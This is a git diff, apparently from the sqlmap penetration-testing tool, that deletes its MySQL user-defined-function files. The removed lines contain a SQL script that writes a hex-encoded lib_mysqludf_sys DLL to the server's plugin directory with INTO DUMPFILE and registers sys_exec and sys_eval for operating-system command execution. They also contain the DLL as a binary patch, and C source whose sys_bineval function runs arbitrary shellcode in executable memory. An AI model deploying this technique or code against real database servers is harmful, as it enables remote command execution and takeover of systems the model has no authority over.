data=CONCAT(data,0x5c537973186d0bafbbd0ee2b41737365094c69ddeef634405f686974396d5f2e5fdffedaf6616d73670878110b646a753a5f666469fbb0f6bb760d5f4370705863b9b65f63721b05ec076164035f686f6f6b4bb800b6f62f636a835f1c75017c01a55f1d735ec16dce0a1f0a6c2164ad58b0adf02a17096e75131346982c0f652f5f3dd65cdbda723456fe6d1c187b0af67db1b7035f706f52296e1064687b2f80ef756c5e6d75a61bdcd696252cb3066ed633b8ed19d82508661167efbd83db5a9ce4790835c7b73773ad32c06e4d0fd76f737bcd950d75667216232e00ffffff1f19274b254920211c2f63183427310c0917251217136517090705160cbffdffff1e080a0b160918181505061b050c10060717062105110f061421110b93efffdb082b2205070d111d0d18532d4838060007d9fead950848330a090b0c0510051616f76fff760e0b34150b18160d3d0542b605121e14066932c7dae67f110c0e1d4d0517230d0c24082400f0a2410be2ff042804f0280104e008041cca0fab7f43d64c010500ce2e8e4938e000642160f902210b01090e6612f6bdc972121710090b021ed27cb3c905070360045bf6deef32f61e40012a0207069fb9dc062703b7013c230f40e7a6cc6c4fb000500227ec40565dc0771cd9d0214207926e59002fac2e746c36d8e66578741a0c900eb74260ddd287602e72647661ab08fb6b); -UPDATE udftest SET data=CONCAT(data,0x0e5bc20a1302402e2649d374dffe032730021c0bd6b84dc04f737235ebb0d10860df731e4f4dc920cdcd5e4f980150223e72fb4d421b242412a052445300000000000000000900ff0000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d870f02000080207f8060287f585054); -UPDATE udftest SET data=CONCAT(data,0x505357ffd558618d4424806a0039c475fa83ec80e9f998ffff00000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300010c02200100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000); -UPDATE udftest SET data=CONCAT(data,0x0000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d); -UPDATE udftest SET data=CONCAT(data,0x6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000ca2e8e49000000003a840000010000000f0000000f000000a4830000e08300001c840000301000004012000000100000501200004012000010120000f01100004012000010120000a010000040120000601000009011000070110000e01000004f84000065840000828400009d840000a6840000b6840000c4840000cd840000); -UPDATE udftest SET data=CONCAT(data,0xdd840000eb840000f3840000028500000f850000178500002685000000000100020003000400050006000700080009000a000b000c000d000e006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e6974000000700000100000005d3c583e5c3e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000); - - --- Export the hexadecimal encoded UDF to a binary file on the file system --- --- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0: --- --- From MySQL 5.1 and 6.0 official documentation: --- --- shared_library_name is the basename of the shared object file --- that contains the code that implements the function. The file --- must be located in the plugin directory. This directory is given --- by the value of the plugin_dir system variable. --- --- The DLL must be in can be in C:\Program Files\MySQL\MySQL Server M.m\lib\plugin --- --- Note that C:\Program Files\MySQL\MySQL Server M.m\lib\plugin DOES NOT --- exist by default so it is NOT possible to save the DLL in the proper --- folder where MySQL server looks for DLLs. --- --- References: --- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html --- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html --- --- The DLL can be only in C:\Program Files\MySQL\MySQL Server M.n\lib\plugin --- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 5.1 >= 5.1.19 --- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 6.0/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 6.0 --- --- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19: --- --- From MySQL 4.1 and 5.0 official documentation: --- --- shared_library_name is the basename of the shared object file --- that contains the code that implements the function. As of MySQL --- M.m.m, the file must be located in the plugin directory. This --- directory is given by the value of the plugin_dir system variable. --- If the value of plugin_dir is empty, the behavior that is used --- before M.m.m applies: The file must be located in a directory --- that is searched by your system's dynamic linker. --- --- References: --- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html --- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html --- --- The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, --- C:\WINDOWS\system32, @@basedir\bin or @@datadir (tested on MySQL 4.1.22 --- and MySQL 5.0.67 with NO plugin_dir set in my.ini configuration file, --- which is the default setting) --- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 4.1/data/lib_mysqludf_sys.dll'; -- On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file --- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/data/lib_mysqludf_sys.dll'; -- On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file --- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/data/lib_mysqludf_sys.dll'; -- On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file --- --- Notes: --- If the library file already exists, the user SYSTEM does not have access --- to overwrite it --- The following enumerates the MySQL data directory --- SELECT @@datadir --- The followings will save into @@datadir. It is a valid PATH where MySQL --- looks for DLL -SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.dll'; --- The followings will save into @@datadir\mysql where 'mysql' is the --- database name where it is connected. It is not a valid PATH where MySQL --- looks for DLL --- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.dll'; --- SELECT data FROM udftest INTO DUMPFILE '\lib_mysqludf_sys.dll'; --- The following will save into C:\. It is not a valid PATH where MySQL --- looks for DLL --- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.dll'; - - --- Create two functions from the binary UDF file --- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 --- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 -DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 -DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 -CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll'; -CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'; - - --- Test the two functions -SELECT sys_exec('echo test > %TEMP%/lib_mysqludf_sys.txt'); -- %TEMP% path is C:\WINDOWS\Temp -SELECT sys_eval('echo %TEMP% && whoami'); - - --- Cleanup the file system and the database -SELECT sys_exec('del %TEMP%/lib_mysqludf_sys.*'); -DROP TABLE IF EXISTS udftest; --- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 --- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 -DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 -DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 diff --git a/extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html b/extra/mysqludfsys/doc/lib_mysqludf_sys.html similarity index 100% rename from extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html rename to extra/mysqludfsys/doc/lib_mysqludf_sys.html diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll b/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll deleted file mode 100755 index 8f62d0fb332a86311e07838b184cd8055c18ae69..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6656 zcmeHLdstIfw%>V>cOXE7ASeMMpgiQIf`EWLLpu1*BGWm|%6-?3{w={`V%`R3c z3sgcmTO?E{lqfq7VXHI>wp786+sSD<>w#Aoq#QXg0`)=4 z;R8b!*>K={i+tB&UsbX3z<*iz%MV<)*y~^NYG2AXEizRql9*%uqZx4H0Z78&0Q#5r zx4hyE0<0SqLk55WEoSV3sDLPjsDdzC&2}sRRu=VV3F<7Z7AqD+V=Mv8T(g5kz7Tu0 z0Fa>nWjL~%=H@C`hx#u|bi<{&H7gM89}o!OKDyD# zSTg?Zz`NF>ld9Bo0On|L02}~30iY=VU^40BI3#T-K%Mv*`n??HRT^l;GNzxM&z>}W znE#=m5tG{$)ZTR)tfsBnw`Z#VD$&!{SMRM);;?*A3wkii=Puz!9CH0{3osfxeKg+r z_BCUHhT@CAfx)Ejrfi9Im?0$XKCOz<56?d|Bw}q-O-t(E(01c%+BKwj=BUxs)}_D6 zuicF~Y#UR3PxGTbjp_4+juL&*c!%y?8HO!FS@Ov}{lY6{a(&DRbV+S*(%j2Crw-#@S-Ix|3OqTI~_dd7V?8V+5i7!|Ju<2*LL@eTq^;LUa&H(NRn* zww&p5ZT7n?;PLfn_Odc{0@i34XdX$xepQ56j?gHm)k8y)Jt2akL zwgAxxu68q!jLPUyQ=I~x_C{`Y-*>^c75L)MpF9%n@5Xd7SBZ08$T%yI#> zh$>A6^jKks9PobA8p~R3ynk!Gwr;2}`e8R?%iD+S_tkF0q!j)UA2ZG8qIBh@j3?c+ zLemD8TZR{{BsinI5ctq+fpHE|HUzh4Ytr?jh4U-z+4#Qc{42B-;#+{L9VJy~Ja02? z`eR`Hbntao!J`yx#04=QMv zHKwbjWJa2v{GZ1?5^ZX}t`Hj@b{ZU6H_JDzVTbA>xh8>OGM4 zP3zLSK`&y?Ap7%{=kpc#E6#_rbZdNwSz(|4sp1CzQO4WRVUbI6P#4Mh3FQ>Qn{qpr zZqhJ9R?q~pJsu9Gr)du{jUl}c9*{7WfTwQ`M3^`Rc8H2Wh;<-;{h7DHDNKaLN-sY=l{Rm%29Wj`z28%9Kj zP3t_@W|uXyrx`lp)oK2c2fO!NigVtSJpKEyWX9$56-BtaB=oY5jHN9-zRXxMHuBLV zE%HoO+~ktHZvW6sLQ>EpQfKF^6E`ZBL|@lebE~tjkP&Mq8@p36d{h6`5Bi-Xm$Yw# zZ{^(RG#;9*V3X*x;ZJvjt)Cr``^7na`y;VGd;+!7&SN$H#m3HcPK?p;4)ovng1h0{ zzwmvK`z^rz#&)7(uh*VprbCq-^#iZ@{rz+*k0WMhaP8^W4))2w>ePD#TScGX6mO~! zr-|JjViP{vk8_it{=O?JN1O+;iPYVr9^|uw+?1?_Sf7Ta;x{K(|Mblc$J6yr#HXu? zo|>`UG?~r$pz>OX2=Ax@P z^n{-4#?mdbVn(=qFxfP|?5rCt{|GCTu)>${&WHW2Y!bl=zXFKHTC)8rXB&<(1CH@I zbB4dlh{(>KfbFtjiXU)km#(HSh=QM5 zcQES#juRp�*^gC}!|MmW_A$1ZB^mrg2|wBpdwbA<1?gAGT)&tPQ!jAHtqCuXun3JOW-sZsP>`i^vB?*-+NCx$iyuw=EBv>T_<# zWhL&c)ESHp{41ZIX~p+Xhu=`!=qvZvzDeX^x!N7!^QxzU+-+`O3Rg5X-oEYEtn3yC zkgg=}Sebu{JKb^*#q&fl5x9>1q1^r}-ED1Y$92=@^s0zuQ?_TyeknzZLS?IndXs;OkiT{v$NWCBInllMbo)1*LlHU@qqcU8r&)`pM?lxSVeH!uc>{>G6z+n}=>)2qx7lith&CIg4 zQ+aW`R7Q>Us*g`af8;OoH#tp8M$&l@Ng%wPGTNs#^s!)wk z7PEuSL(q7|3>_Fs?39Z8e4$Dz%=0P54a#F!u_~l2O+py>OqngFZ}N=Qs8sIURU$;K zc9qpPZf1Jgr%6RcW2MfZQ&E(nK~&{j9C)M2kY6nqD%LqDqxK9u!o*3{1?!Ted8)GV zSYgpvoBS>H(#`5PBu`UN;8`fSCNEVY38&K)l4x(VaDwrRgc|cbi)f=Nw+Snk9cir(S3Y zi&3i)vPQZ$Ns%G3sSrr^g~}Ydko`P$K)=oii?KcVhT=BtV~_0h@^~9GQ<*%EcfcF?Cko{cb$FD5EKN%^^)r< zWCbbTman#bU{s?GqT+HACoD*z{BB3PBH88}rCMgXyVNOvy{jO$xHvNqjhejg_PIPH z3OIRfU9s5&3){_QwTKns7)T>KuCQ~oZ(`U{h)z~^NseTql>=>gC46N`6siN6#ad!T zaJHf`2t-GMo0Y8%f$3&TC3y{)3_k8wM7r%VI*aF*7)k&{QprrV4>y=XrqZk!M1q4| zg>in&ni{f%%5tDbT5U84moo`c*Or-q09%^%vSceq4>~P~L!!nLCR%Z^9b+b6{De0K z-$=r{xM1gaPMS;^+B>EZdR<-JVM4+i#7!8ZhNxezeKKon zRE@!dCjg5qw(S_BdR#+(Nl8?>J)~iJlL@reO$)zHdQmxEK{X|OndZAkGUlQofhTj}% zKB7kXFU|&$?t%UR?i=V7Hah}UY1HUucy{<7Mhkx72R+q@NTZUX<(4>XSRz!&ZVl`O z5pz}25~&O+K-3G3i<{%ipeqUwDM?5PB4f+U&q#Nndb6TLS%j$E*&1n#$owshbk7&c z)QJ0rh}8?RUw2-JzliZSy+^EmZLATi7bg8;4a7(>q7Wkr(W|*cyt1I?kEMC7f9~hi z>TiY)D4ae#L=_{E?xj*iaFDzC%mkI>SG(ZPj|~g(k4;T;e|0X4bPw|n@DB)vHI`N;AgvKu0Q*4;Ksn$ZJ{t=K6T>2f@-NOGv`<#{$BBh_O%cR5PS$R zgt@3*%B}IK+v1aggZ$%?l0Y(#ADar7MJ$uSY_U=(HXnh6s&Y7jO$f?`D-t6XtKh1@ zSTD|E&}Lqm1w96yheZoof(k)kU->V@i+*3`pEIlB|17lFy~Jrao>7PpXb*t@hgJ5l z0m?ck&Gll4Xh=5K8Bk8x{#-x#lE2H$hxTHKL0Ff=SXzja5G@cr5ceTQAf7|uVb0kO z!WqH`A`Bu1f(x+|0)apw%p=7D9KgdYI6QFx5+DN#paL4818ZOdhiMBIj{WcwAW)a9 zEo=BoqriL>_#3LlDi9-5g%teSX6)Ix!AP8Um%++i -#include -#include -#endif - -#ifdef STANDARD -#include -#include -#include -#ifdef __WIN__ -typedef unsigned __int64 ulonglong; -typedef __int64 longlong; -#else -typedef unsigned long long ulonglong; -typedef long long longlong; -#endif /*__WIN__*/ -#else -#include -#include -#endif -#include -#include -#include -#include - -#include - -#ifdef HAVE_DLOPEN -#ifdef __cplusplus -extern "C" { -#endif - -#define LIBVERSION "lib_mysqludf_sys version 0.0.3" - -#ifdef __WIN__ -#define SETENV(name,value) SetEnvironmentVariable(name,value); -#else -#define SETENV(name,value) setenv(name,value,1); -#endif - -DLLEXP -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -); - -DLLEXP -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_get - * - * Gets the value of the specified environment variable. - */ -DLLEXP -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_get_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_set - * - * Sets the value of the environment variables. - * This function accepts a set of name/value pairs - * which are then set as environment variables. - * Use sys_get to retrieve the value of such a variable - */ -DLLEXP -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_set_deinit( - UDF_INIT *initid -); - -DLLEXP -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_exec - * - * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_exec_deinit( - UDF_INIT *initid -); - -DLLEXP -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_eval - * - * executes the argument commandstring and returns its standard output. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_eval_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_bineval - * - * executes bynary opcodes. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -); - -DLLEXP -void sys_bineval_deinit( - UDF_INIT *initid -); - -DLLEXP -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - - -#ifdef __cplusplus -} -#endif - -/** - * lib_mysqludf_sys_info - */ -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - my_bool status; - if(args->arg_count!=0){ - strcpy( - message - , "No arguments allowed (udf: lib_mysqludf_sys_info)" - ); - status = 1; - } else { - status = 0; - } - return status; -} - -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -){ -} - -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - strcpy(result,LIBVERSION); - *length = strlen(LIBVERSION); - return result; -} - -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count==1 - && args->arg_type[0]==STRING_RESULT){ - initid->maybe_null = 1; - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_get_deinit( - UDF_INIT *initid -){ -} - -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - char* value = getenv(args->args[0]); - if(value == NULL){ - *is_null = 1; - } else { - *length = strlen(value); - } - return value; -} - -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count!=2){ - strcpy( - message - , "Expected exactly two arguments" - ); - return 1; - } - if(args->arg_type[0]!=STRING_RESULT){ - strcpy( - message - , "Expected string type for name parameter" - ); - return 1; - } - args->arg_type[1]=STRING_RESULT; - if((initid->ptr=malloc( - args->lengths[0] - + 1 - + args->lengths[1] - + 1 - ))==NULL){ - strcpy( - message - , "Could not allocate memory" - ); - return 1; - } - return 0; -} - -void sys_set_deinit( - UDF_INIT *initid -){ - if (initid->ptr!=NULL){ - free(initid->ptr); - } -} - -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - char *name = initid->ptr; - char *value = name + args->lengths[0] + 1; - memcpy( - name - , args->args[0] - , args->lengths[0] - ); - *(name + args->lengths[0]) = '\0'; - memcpy( - value - , args->args[1] - , args->lengths[1] - ); - *(value + args->lengths[1]) = '\0'; - return SETENV(name,value); -} - -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_exec_deinit( - UDF_INIT *initid -){ -} - -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - return system(args->args[0]); -} - -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_eval_deinit( - UDF_INIT *initid -){ -} - -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - FILE *pipe; - char line[1024]; - unsigned long outlen, linelen; - - result = malloc(1); - outlen = 0; - - pipe = popen(args->args[0], "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (!(*result) || result == NULL) { - *is_null = 1; - } else { - result[outlen-1] = 0x00; - *length = strlen(result); - } - - return result; -} - -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -){ - return 0; -} - -void sys_bineval_deinit( - UDF_INIT *initid -){ - -} - -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -){ - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = strlen(args->args[0]); - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, args->args[0], len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - strncpy((char *)addr, args->args[0], len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif - -#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch b/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch deleted file mode 100644 index 7e09a9bc7..000000000 --- a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch +++ /dev/null @@ -1,354 +0,0 @@ -diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh ---- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100 -+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000 -@@ -0,0 +1,43 @@ -+#!/bin/bash -+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions -+# Copyright (C) 2007 Roland Bouman -+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G. -+# web: http://www.mysqludf.org/ -+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com -+# -+# This library is free software; you can redistribute it and/or -+# modify it under the terms of the GNU Lesser General Public -+# License as published by the Free Software Foundation; either -+# version 2.1 of the License, or (at your option) any later version. -+# -+# This library is distributed in the hope that it will be useful, -+# but WITHOUT ANY WARRANTY; without even the implied warranty of -+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -+# Lesser General Public License for more details. -+# -+# You should have received a copy of the GNU Lesser General Public -+# License along with this library; if not, write to the Free Software -+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -+ -+echo "Compiling the MySQL UDF" -+make -+ -+if test $? -ne 0; then -+ echo "ERROR: You need libmysqlclient development software installed " -+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:" -+ echo "apt-get install libmysqlclient15-dev" -+ exit 1 -+else -+ echo "MySQL UDF compiled successfully" -+fi -+ -+echo -e "\nPlease provide your MySQL root password" -+ -+mysql -u root -p mysql < lib_mysqludf_sys.sql -+ -+if test $? -ne 0; then -+ echo "ERROR: unable to install the UDF" -+ exit 1 -+else -+ echo "MySQL UDF installed successfully" -+fi -Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ -diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c ---- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000 -+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000 -@@ -1,8 +1,9 @@ - /* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman -- web: http://www.xcdsql.org/MySQL/UDF/ -- email: mysqludfs@gmail.com -+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G. -+ web: http://www.mysqludf.org/ -+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public -@@ -51,7 +52,7 @@ - extern "C" { - #endif - --#define LIBVERSION "lib_mysqludf_sys version 0.0.2" -+#define LIBVERSION "lib_mysqludf_sys version 0.0.3" - - #ifdef __WIN__ - #define SETENV(name,value) SetEnvironmentVariable(name,value); -@@ -139,7 +140,7 @@ - /** - * sys_exec - * -- * executes the argument commandstring. -+ * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ - DLLEXP -@@ -162,6 +163,34 @@ - , char *error - ); - -+/** -+ * sys_eval -+ * -+ * executes the argument commandstring and returns its standard output. -+ * Beware that this can be a security hazard. -+ */ -+DLLEXP -+my_bool sys_eval_init( -+ UDF_INIT *initid -+, UDF_ARGS *args -+, char *message -+); -+ -+DLLEXP -+void sys_eval_deinit( -+ UDF_INIT *initid -+); -+ -+DLLEXP -+char* sys_eval( -+ UDF_INIT *initid -+, UDF_ARGS *args -+, char* result -+, unsigned long* length -+, char *is_null -+, char *error -+); -+ - - #ifdef __cplusplus - } -@@ -336,5 +365,62 @@ - return system(args->args[0]); - } - -+my_bool sys_eval_init( -+ UDF_INIT *initid -+, UDF_ARGS *args -+, char *message -+){ -+ unsigned int i=0; 